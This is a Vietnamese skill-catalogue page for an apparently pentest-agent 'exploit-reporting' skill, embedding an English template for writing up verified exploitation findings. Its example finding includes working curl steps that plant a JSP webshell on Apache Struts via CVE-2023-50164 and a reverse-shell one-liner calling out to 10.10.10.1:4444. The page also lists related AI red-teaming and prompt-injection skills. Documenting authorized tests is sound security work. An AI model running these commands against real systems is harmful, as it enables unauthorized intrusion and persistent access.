exploit-reporting
Skill này làm gì
Hướng dẫn này giải thích cách ghi lại một lỗ hổng bảo mật đã được xác minh để người đọc có thể tái hiện và hiểu tác động. Dành cho người kiểm thử bảo mật viết báo cáo cho nhóm hoặc khách hàng.
Khi nào nên dùng
- ✓Khi một kiểm thử bảo mật đã xác nhận một exploit và cần được viết lại thành báo cáo.
- ✓Khi bạn muốn có điểm CVSS và mức nghiêm trọng rõ ràng cho từng lỗ hổng đã xác nhận.
- ✓Khi một nhóm cần hồ sơ về quyền truy cập đã đạt được và các khoảng hở giám sát đã tìm thấy.
Liên kết skill
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/reporting/SKILL.mdSao chép rồi dán vào AI của bạn (Claude, ChatGPT hoặc Cursor) và nhờ nó làm theo hướng dẫn.
Cách dùng
Cách dễ nhất: sao chép tin nhắn và dán vào AI của bạn. AI sẽ đọc skill và làm theo hướng dẫn.
Tin nhắn có sẵn để dán
Dành cho Claude Code, Codex hoặc Cursor: chạy lệnh trong thư mục dự án của bạn và skill sẽ được cài đặt.
Tải tệp SKILL.md về và thả vào thư mục skill của agent.
Ví dụ cách nhờ AI
“Chúng tôi đã xác nhận một lỗi thực thi mã từ xa trên một máy chủ. Bạn có thể viết lại thành một phát hiện kèm các bước, điểm số và bằng chứng không?”
5 skill mới mỗi tuần. Đọc chỉ 1 phút.
Cách hoạt động
Agent dùng mẫu phát hiện gồm tiêu đề, mức nghiêm trọng, điểm số, thành phần bị ảnh hưởng và các bước tái hiện, rồi đính kèm bằng chứng mà agent được cung cấp.
Nội dung kỹ thuật (SKILL.md gốc)
Lấy nguyên văn từ GitHub, do tác giả viết bằng tiếng Anh.
Exploitation Reporting Knowledge Base
Exploitation findings are only operationally useful when documented with enough precision that anyone can reproduce the access, understand the impact, and trace the full attack path. This skill defines how to structure, score, and persist exploitation findings within the Decepticon engagement directory.
1. Exploitation Finding Template
Every verified successful exploitation MUST produce a finding Markdown file in the active engagement workspace's findings/ directory named FIND-{NNN}.md. The file name and id field in YAML frontmatter (FIND-001, FIND-002, ...) are the canonical cross-reference — determine the next ID by counting existing files. Do not create placeholder finding files.
---
id: FIND-001
severity: CRITICAL
cvss_score: 9.3
cvss_vector: "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
cwe: CWE-78
mitre: T1190
affected_target: 10.0.1.50
affected_component: "Apache Struts 2.5.30 — /struts2/upload.action"
confidence: confirmed
objective_id: <server-issued-objective-id>
phase: initial-access
agent: exploit
detected: false
remediation_priority: immediate
discovered_at: "2026-04-06T14:32:00Z"
---
# [CRITICAL] Remote Code Execution via Apache Struts CVE-2023-50164 on 10.0.1.50:8080 — Root Shell Achieved
## Description
Apache Struts 2.5.30 is vulnerable to CVE-2023-50164, a file upload path traversal flaw in the `FileUploadInterceptor`. An unauthenticated attacker can manipulate the `Upload-Dir` parameter during a multipart upload request to traverse outside the intended upload directory and write an arbitrary file — including a JSP webshell — to the web root. This achieves unauthenticated remote code execution as the Tomcat service account.
The vulnerability exists because `FileUploadInterceptor` does not canonicalize the destination path before writing, allowing `../` sequences to escape the configured upload directory.
## Steps to Reproduce
```bash
# 1. Confirm the target is running Struts (identified during recon)
curl -s -I http://10.0.1.50:8080/struts2/ | grep -i server
# 2. Generate the malicious multipart upload request
# Upload a JSP webshell to /struts2/../shell.jsp (resolves to web root)
curl -s -X POST http://10.0.1.50:8080/struts2/upload.action \
-F "Upload=@/tmp/shell.jsp;type=image/jpeg" \
-F "Upload-Dir=../." \
-o /workspace/target/findings/evidence/FIND-001_upload_response.txt
# 3. Confirm shell placement
curl -s http://10.0.1.50:8080/shell.jsp?cmd=id \
-o /workspace/target/findings/evidence/FIND-001_rce_confirm.txt
# 4. Upgrade to reverse shell
curl -s "http://10.0.1.50:8080/shell.jsp?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/10.10.10.1/4444+0>%261'" &
nc -lvnp 4444
Proof of Exploitation
# whoami output on compromised host
tomcat
# id output
uid=52(tomcat) gid=52(tomcat) groups=52(tomcat)
# hostname
app01.internal.example.com
# uname -a
Linux app01.internal.example.com 5.15.0-1034-aws #38-Ubuntu SMP x86_64 GNU/Linux
# ip addr (abridged)
inet 10.0.1.50/24 brd 10.0.1.255 scope global eth0
inet 10.0.2.1/24 brd 10.0.2.255 scope global eth1
Access Achieved
| Target | Access Level | Method | Credentials Used | Persistence Status |
|---|---|---|---|---|
| 10.0.1.50:8080 (app01) | Remote Code Execution (tomcat) | CVE-2023-50164 — JSP webshell | None (unauthenticated) | Webshell at /shell.jsp |
Impact
An unauthenticated attacker has OS-level command execution as the tomcat service account on app01.internal.example.com. The host has dual-network interfaces (10.0.1.0/24 external-facing + 10.0.2.0/24 internal), making it a pivot point into the internal network segment. From this position an attacker can:
- Enumerate and access internal services on 10.0.2.0/24 not reachable externally
- Read application configuration files containing database credentials
- Install a persistent reverse shell or C2 implant
- Escalate privileges via local kernel or sudo misconfigurations
Evidence
| Type | Path | Description |
|---|---|---|
| HTTP response | findings/evidence/FIND-001_upload_response.txt | Server response confirming file write |
| RCE confirmation | findings/evidence/FIND-001_rce_confirm.txt | Output of id command via webshell |
| Shell session log | findings/evidence/FIND-001_shell_session.txt | Full interactive shell transcript |
| Payload | findings/evidence/FIND-001_shell.jsp | JSP webshell payload used |
Câu hỏi thường gặp
CVSS là gì?
Đó là điểm chuẩn để đo mức nghiêm trọng của lỗ hổng bảo mật, dựa trên các yếu tố tấn công và tác động.
Kết quả chưa được xác minh có nên viết thành phát hiện không?
Không. Hướng dẫn cho biết mỗi phát hiện phải đến từ một lần khai thác đã được xác minh, và không nên tạo file giữ chỗ.
Vì sao cần ghi lại các khoảng hở giám sát?
Hướng dẫn cho biết điều đó giúp nhóm thấy những hành động nào đã không bị hệ thống giám sát phát hiện.
Chi tiết
Mô tả gốc của tác giả
Exploitation finding documentation — initial access reports, exploit chain documentation, CVSS v4.0 scoring, shell/credential inventory, detection gap analysis.
Độ phổ biến
- Sao GitHub
- 6.5k
- Vị trí xếp hạng
- #14042
- Giấy phép
- Apache-2.0
- Cập nhật
- 1/11/2026
Bình luận
- …
Thêm skill từ kho mã này
detector-overview
6.5kGiúp agent của bạn đọc code mà một công cụ quét đã đánh dấu, rồi quyết định điểm nào là lỗ hổng bảo mật thật và điểm nào là báo động giả.
exploiter-overview
6.5kGiúp agent của bạn ghép nhiều lỗ hổng bảo mật đã xác nhận thành một chuỗi kiểm thử và kiểm tra chuỗi đó có thể gây hậu quả đến đâu.
llm-redteam-overview
6.5kGiúp agent của bạn tìm đúng hướng dẫn red-team AI cho một bài kiểm thử, bao quát 15 nhóm chiến thuật từ prompt injection đến lạm dụng mô hình.
aatmf-t01-prompt-injection
6.5kGiải thích prompt injection, khi các chỉ dẫn ẩn cố ghi đè một hệ thống AI, để chuyên gia bảo mật có thể kiểm tra lỗi này.
Skill tương tự
reverse-engineer-anything
422kGiúp agent của bạn xem bên trong các app và package đã phát hành để giải thích tính năng, so sánh phiên bản hoặc hướng dẫn dựng lại bằng công cụ REA.
1password
394kGiúp agent của bạn cài đặt CLI của 1Password, đăng nhập, và đọc hoặc đưa thông tin bí mật vào mà không in giá trị ra cuộc trò chuyện.
healthcheck
394kGiúp agent của bạn rà soát bảo mật máy tính hoặc máy chủ đang chạy OpenClaw, như SSH, tường lửa, cập nhật và sao lưu, rồi đề xuất cách sửa an toàn.